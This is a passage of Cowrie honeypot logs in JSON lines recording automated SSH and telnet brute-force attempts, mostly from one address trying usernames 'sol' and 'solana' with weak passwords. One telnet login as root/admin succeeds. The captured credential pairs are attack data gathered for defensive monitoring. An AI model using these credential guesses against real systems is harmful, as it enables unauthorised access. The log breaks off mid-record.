{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:07:38.446983Z","src_ip":"2.57.122.96","session":"fbdcf0534301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:07:38.813436Z","src_ip":"2.57.122.96","session":"fbdcf0534301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:07:39.921790Z","src_ip":"2.57.122.96","session":"fbdcf0534301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":44262,"dst_ip":"159.203.135.109","dst_port":22,"session":"f01fe41fb7d1","protocol":"ssh","message":"New connection: 2.57.122.96:44262 (159.203.135.109:22) [session: f01fe41fb7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:07:53.326559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:07:53.330466Z","src_ip":"2.57.122.96","session":"f01fe41fb7d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:07:53.429929Z","src_ip":"2.57.122.96","session":"f01fe41fb7d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:07:53.732399Z","src_ip":"2.57.122.96","session":"f01fe41fb7d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:07:54.836925Z","src_ip":"2.57.122.96","session":"f01fe41fb7d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.96811318397522,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:08:04.636942Z","src_ip":"176.65.148.214","session":"e8314f032e4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":55018,"dst_ip":"10.17.0.5","dst_port":22,"session":"d06b08f9fc4e","protocol":"ssh","message":"New connection: 2.57.122.96:55018 (10.17.0.5:22) [session: d06b08f9fc4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:10:33.002784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:10:33.007077Z","src_ip":"2.57.122.96","session":"d06b08f9fc4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:10:33.116819Z","src_ip":"2.57.122.96","session":"d06b08f9fc4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root123","message":"login attempt [sol/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:10:33.428995Z","src_ip":"2.57.122.96","session":"d06b08f9fc4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:10:34.530722Z","src_ip":"2.57.122.96","session":"d06b08f9fc4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":55562,"dst_ip":"159.203.135.109","dst_port":22,"session":"6edc96863266","protocol":"ssh","message":"New connection: 2.57.122.96:55562 (159.203.135.109:22) [session: 6edc96863266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:10:49.903670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:10:49.908448Z","src_ip":"2.57.122.96","session":"6edc96863266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:10:50.012934Z","src_ip":"2.57.122.96","session":"6edc96863266","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root123","message":"login attempt [sol/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:10:50.323733Z","src_ip":"2.57.122.96","session":"6edc96863266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:10:51.430097Z","src_ip":"2.57.122.96","session":"6edc96863266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.89.209.45","src_port":34106,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9a2f6cdf0b9","protocol":"telnet","message":"New connection: 121.89.209.45:34106 (10.17.0.5:23) [session: e9a2f6cdf0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:12:16.732903Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.84.102","src_port":49764,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cfdbf3d9615","protocol":"telnet","message":"New connection: 87.121.84.102:49764 (159.203.135.109:23) [session: 5cfdbf3d9615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:12:34.808651Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:12:34.976460Z","src_ip":"87.121.84.102","session":"5cfdbf3d9615","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:12:35.012421Z","src_ip":"87.121.84.102","session":"5cfdbf3d9615","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.813679456710815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:12:47.546456Z","src_ip":"121.89.209.45","session":"e9a2f6cdf0b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":45818,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e036b5dad41","protocol":"ssh","message":"New connection: 2.57.122.96:45818 (10.17.0.5:22) [session: 1e036b5dad41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:13:30.588185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:13:30.592273Z","src_ip":"2.57.122.96","session":"1e036b5dad41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:13:30.693907Z","src_ip":"2.57.122.96","session":"1e036b5dad41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"4rfv$RFV","message":"login attempt [sol/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:13:30.995419Z","src_ip":"2.57.122.96","session":"1e036b5dad41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:13:32.108234Z","src_ip":"2.57.122.96","session":"1e036b5dad41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":54502,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a536fce7ef5","protocol":"ssh","message":"New connection: 2.57.122.96:54502 (159.203.135.109:22) [session: 2a536fce7ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:13:46.861990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:13:46.866145Z","src_ip":"2.57.122.96","session":"2a536fce7ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:13:46.974814Z","src_ip":"2.57.122.96","session":"2a536fce7ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"4rfv$RFV","message":"login attempt [sol/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:13:47.313310Z","src_ip":"2.57.122.96","session":"2a536fce7ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:13:48.423319Z","src_ip":"2.57.122.96","session":"2a536fce7ef5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":344,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:15:35.016538Z","src_ip":"87.121.84.102","session":"5cfdbf3d9615","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.21779656410217,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:15:35.026370Z","src_ip":"87.121.84.102","session":"5cfdbf3d9615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":47928,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f307c23e109","protocol":"ssh","message":"New connection: 2.57.122.96:47928 (10.17.0.5:22) [session: 9f307c23e109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:16:30.525015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:16:30.529697Z","src_ip":"2.57.122.96","session":"9f307c23e109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:16:30.635693Z","src_ip":"2.57.122.96","session":"9f307c23e109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"4rfv$RFV","message":"login attempt [solana/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:16:31.049295Z","src_ip":"2.57.122.96","session":"9f307c23e109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:16:32.157785Z","src_ip":"2.57.122.96","session":"9f307c23e109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":41864,"dst_ip":"159.203.135.109","dst_port":22,"session":"0da26ea2504b","protocol":"ssh","message":"New connection: 2.57.122.96:41864 (159.203.135.109:22) [session: 0da26ea2504b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:16:48.112613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:16:48.117009Z","src_ip":"2.57.122.96","session":"0da26ea2504b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 